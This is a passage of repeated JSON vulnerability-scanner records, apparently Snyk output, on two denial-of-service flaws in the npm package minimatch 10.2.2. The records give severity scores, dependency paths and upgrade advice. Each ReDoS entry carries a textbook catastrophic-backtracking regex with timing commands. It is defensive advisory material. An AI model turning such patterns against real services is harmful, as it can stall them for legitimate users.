"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 